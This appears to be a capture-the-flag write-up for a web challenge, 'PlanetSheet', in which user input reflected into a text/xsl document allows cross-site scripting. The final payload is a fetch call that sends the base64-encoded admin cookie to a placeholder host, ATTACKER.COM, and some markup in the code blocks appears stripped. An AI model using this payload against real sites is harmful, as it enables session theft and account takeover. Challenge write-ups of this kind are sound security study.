# PlanetSheet > Let's start by warming a little bit! I love planets and I hate sheets so I made this website to show my favorite planets. Flag is in admin cookie.\ > **Link:** In this challenge our input is reflected into an [XSL document](https://developer.mozilla.org/en-US/docs/Web/XSLT). For instance: ```markup

Planets

OUR INPUT , , and !

``` When rendered in the browser, this yields an error. ![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-2068a7f62f64b39588610a6ebe2efdcf09333ec9%2FScreenshot%202022-04-11%20at%2011.59.45%20AM.png?alt=media) Since the `Content-Type` is `text/xsl`, we can use `` to perform XSS ([source](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)). The final payload was ```xml fetch(`http://ATTACKER.COM/${btoa(document.cookie)}`) ```